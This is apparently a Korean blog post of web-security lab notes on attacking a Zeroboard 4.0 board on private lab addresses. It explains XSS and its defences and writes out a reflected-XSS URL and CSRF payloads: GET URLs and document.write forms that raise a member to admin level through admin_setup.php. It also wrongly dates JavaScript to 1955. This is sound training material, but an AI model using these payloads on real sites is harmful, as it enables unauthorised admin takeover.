ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • [웹보안] 제로보드4.0 사용법
    카테고리 없음 2017. 5. 24. 16:25

    프로그램

    제로보드 4.0 ( php로 만들어진 공개게시판 ) >> 워드프로세스(x)

    CentOS6

    mysql - 데이터베이스 하나 생성


    설치 후 693번 라인 703라인 

    register_globals = On

    registrt_long_array = On


    >> 크롬 set character encoding 다운 후 enc-kr로 변경


    수정파일

    schema.sql

    #해쉬값으로 저장되는 패스워드 크기 

    29 : varchar(50)

    234: varchar(50)

    288: varchar(50)


    139: default '0' 삭제

    216: unsigned default '0' 삭제

    284: default '0' 삭제

    304

    318

    332

    346


    기초

    1. 웹 브라우저에서 실행되는 언어

    html, javascript


    2. 서버에서 실행되는 언어

    php


    3. DB에서 실행되는 언어

    sql


    언어의 형태에 맞게 다른 공격이 들어온다.


    #1 자바스크립트를 이용한 공격기법

    -XSS( Cross Site Scripting )

    1955년도에 자바 스크립트가 도입

    2000년도에 최초의 공격이 발견

    2005년도에 악성코드의 형태도 발견

    >> 스크립트가 실행가능한 모든 곳이 취약하다

    >> 따라서 지속적으로 발생된다.


    **OWASP TOP10에 지속적으로 올라온다.


    [type]

    a) stored XSS

    악의적인 스크립트를 웹 사이트에 저장

    저장된 스크립트를 다운로드 받은 사용자의 웹 브라우저에서 실행

    >> 입력 가능한 곳에 실행되는지 ( alert 같은것으로 ) 확인해서 취약점을 발견한다 .

    URL

    쪽지 본문, 쪽지 제목

    댓글 관리자

    게시글(답변) 제목, 본문

    >> 타겟홈페이지의 대한 페이지분석이 가장 중요하다


    b) reflected XSS

    >> 브라우저의 XSS 사용설정을 해제 해야한다.

    JOIN : Get방식의 ID값에 script를 넣을 수 있다.

    >> 링크로 전달

    http://192.168.3.216/zboard/check_user_id.php?user_id=<script> alert("xss"); </script>


    차단 

    1) 스크립트의 실행 차단 ( 자바스크립트를 실행 할 수 없다. )

    >> QoS가 떨어진다.


    2) 서드파티 보안

    # 웹브라우저 (XSS 차단기능)

    # 방화벽

    # 관제


         >> 유지보수 비용이 많이 들어감

    >> 완벽한 차단이 불가능


    3) 시큐어 코딩

    ( 개발자의 책임 

    # 기획, 개발에서부터 보안성을 고려한다.

    > 출시될 때 취약한 부분없이 출시

    >> 유지보수 비용이 절감된다.



    * XSS 차단

    - 입력값 필터링 : <script>


    CSRF ( cross sit request forgery )

    XSS의 변종

    <script> 태그를 사용하지 않고 html태그를 사용해서 공격.

    admin_setup.php으로 전송되는 멤버에 대한 그룹변경 페이지


    *관리자권한


    method=post

    action=/zboard/admin_setup.php


    page=1

    group_no=1

    exec=view_member

    page_num=10

    exec2=moveall # 로 change

    #car[]의 1번은 관리자인것 같다.

    cart[]=2

    cart[]=3

    movelevel = num


    [get]

    http://192.168.3.216/zboard/admin_setup.php? page=1&group_no=1&exec=view_member&page_num=10&exec2=moveall&cart[]=2&movelevel=8


    [post]

    자바스크립트 document.write로 폼을 만들어서 전송해버린다.

    document.write("<form method=POST action='http://192.168.3.216/zboard/admin_setup.php'><input type=text name=page value=1><input type=text name=group_no value=1><input type=text name=exec value=view_member><input type=text name=page_num value=10><input type=text name=exec2 value=moveall><input type=text name=cart[] value=2><input type=text name=movelevel value=7><input type=submit value=send></form>");



    #1 img태그를 이용

    src 항목에 있는 url에 요청을 하게 된다




    어떤 멤버의 레벨을 1로 권한 레벨을 최고 관리자로 변경을 요청하는 GET과 POST요청을 만들면 된다.

    >> 이것도 또한 modify 설정에서 할수있다

    action = /zboard/admin_setup.php

    exec=view_member

    exec2=modify_member_ok

    group_no=1

    member_no=3

    page=1

    keyword=

    level=1            #여기가 레벨부분이다.

    is_admin=1         #여기가 관리자레벨 부분이다.

    board_name=attack

    name=attacker

    http://100.100.100.133/zboard/admin_setup.php?exec=view_member&exec2=modify_member_ok&group_no=1&member_no=3&page=1&keyword=&level=1&is_admin=1&board_name=attack&name=attacker


    [post]

    document.write("<form action='http://100.100.100.133/zboard/admin_setup.php'><input type=text name=exec value=view_member><input type=text name=exec2 value=modify_member_ok><input type=text name=group_no value=1><input type=text name=member_no value=3><input type=text name=page value=1><input type=text name=keyword><input type=text name=level value=1><input type=text name=is_admin value=1><input type=text name=board_name value=attack><input type=text name=name value=attacker><input type=submit value=send></form>");


    [cookie]

    모든 input 값을 사전형태로

    document.cookie = "is_admin" 넣고

    location.href="100.100.100.133/zboard/admin_setup.php"

    하면 바뀌어있다.




    댓글

Designed by Tistory.